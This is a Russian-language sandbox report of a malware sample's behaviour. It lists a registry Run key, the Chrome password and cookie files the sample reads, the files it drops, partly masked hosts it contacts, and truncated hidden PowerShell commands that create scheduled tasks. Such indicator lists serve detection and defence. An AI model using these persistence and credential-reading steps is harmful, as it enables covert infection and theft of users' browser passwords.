Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'BlueStacks_bgp642023' = '"%APPDATA%\FirefoxUpdate.exe" "%APPDATA%\Firefox.bat"'
Вредоносные функции
Читает файлы, отвечающие за хранение паролей сторонними программами
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\web data
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\pac\data2.txt
- %TEMP%\bluefiles\old\8db9f21fcfc3e0b62458c0afea3d9497
- %TEMP%\bluefiles\old\be6bc190ce04e110f4410ea4e66ef250
- %TEMP%\bluefiles\old\919579fb0b84dae7ee6e0af2c1f94203
- %TEMP%\bluefiles\old\application.ini
- %TEMP%\bluefiles\new\dotnetzip-mu0crhvr.tmp
- %TEMP%\bluefiles\new\3c7ef04e3d1778e71674a4e85ed14a95\info.json
- %TEMP%\bluefiles\new\3c7ef04e3d1778e71674a4e85ed14a95\542738f56dd37691e490f36d185e5898
- %TEMP%\bluefiles\new\3c7ef04e3d1778e71674a4e85ed14a95\6121cc49f238f36db92247a8df93efe1
- %TEMP%\bluefiles\old\info.json
- %TEMP%\bluefiles\new\3c7ef04e3d1778e71674a4e85ed14a95\7c0bb88f2060467217c05a09b2a78024
- %LOCALAPPDATA%\pac\logs.txt
- %APPDATA%\bluestack\versionid.txt
- %LOCALAPPDATA%\taskunity\task.exe
- %LOCALAPPDATA%\pac\data1.txt
- %APPDATA%\firefoxupdate.exe
- %LOCALAPPDATA%\taskum.exe
- %APPDATA%\firefox.bat
- %LOCALAPPDATA%\chrome.bat
- %TEMP%\bluefiles\new\3c7ef04e3d1778e71674a4e85ed14a95\ls
- %TEMP%\bluefiles\new\dotnetzip-iyeswl0b.tmp
Перемещает следующие файлы
- %TEMP%\bluefiles\new\dotnetzip-mu0crhvr.tmp в %TEMP%\bluefiles\new\chromium_3c7ef04e3d1778e71674a4e85ed14a95
- %TEMP%\bluefiles\new\dotnetzip-iyeswl0b.tmp в %TEMP%\bluefiles\new\moz
Сетевая активность
Подключается к
- 'dl.##zvideo.top':443
- 'pk#.goog':80
- 'pe###net.top':443
TCP
Запросы HTTP GET
- http://pk#.goog/gsr1/gsr1.crt
Другие
- 'dl.##zvideo.top':443
- 'pe###net.top':443
UDP
- DNS ASK dl.##zvideo.top
- DNS ASK pk#.goog
- DNS ASK pe###net.top
Другое
Запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -w hidden -c $taskName = 'ChromeMaint';$taskExe = '%LOCALAPPDATA%\taskum.exe';$taskarg = '%LOCALAPPDATA%\Chrome.bat';$taskWD = '%LOCALAPPDATA%\Pac';$taskExists = Get-ScheduledTask | Where-Objec...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -w hidden -c $taskName = 'FireFoxMaint';$taskExe = '%LOCALAPPDATA%\taskUnity\task.exe';$taskarg = '\"%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe\" \"-w\" \"hidden\" \"-c\" \"$Cxvs='...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -w hidden -c $taskName = 'CFoxMaint';$taskExe = '%LOCALAPPDATA%\taskUnity\task.exe';$taskarg = '\"%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe\" \"-w\" \"hidden\" \"-c\" \"$emnu=''Fl...
